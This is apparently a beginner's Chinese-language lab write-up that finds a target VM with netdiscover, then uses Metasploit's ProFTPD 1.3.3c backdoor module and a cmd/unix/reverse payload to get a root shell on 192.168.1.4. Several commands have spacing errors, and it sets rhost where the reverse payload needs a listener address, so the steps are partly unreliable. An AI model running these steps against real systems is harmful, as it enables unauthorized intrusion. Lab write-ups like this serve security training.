这次我们使用一种新方法查看靶机的ip
Netdiscover:二层发现工具,拥有主动和被动发现两种方式。
首先查看靶机的ip
然后查看本机的ip,使用ipconfig
然后扫描靶机ip
Msfconsole简称(msf)是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,方便于安全测试人员的使用.
操作流程
1.搜索利用脚本: search
2.进入利用脚本: use exploit/unix/ftp/proftpd _133c backdoor
3.查看需要设置的参数: show opt ions
4.设置参数: set rhost 192. 168.1.4
5.设置pay load:
set payload cmd/ uni x/reverse
6.查看payload需要设置的参数: show opt ions
7.设置payload参数: set rhost 192. 168. 1. 4
8.输入命令:
run,执行攻击,成功getshell, 并且直接为r oot权限
显示参数show options
set payload
主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等,payloads也被称为shellcode。
一般在exploit中调用payload
也可以使用 generate 命令直接生成payload
然后run
到这里我们就找到root权限了
网安初学者欢迎批评指正!!!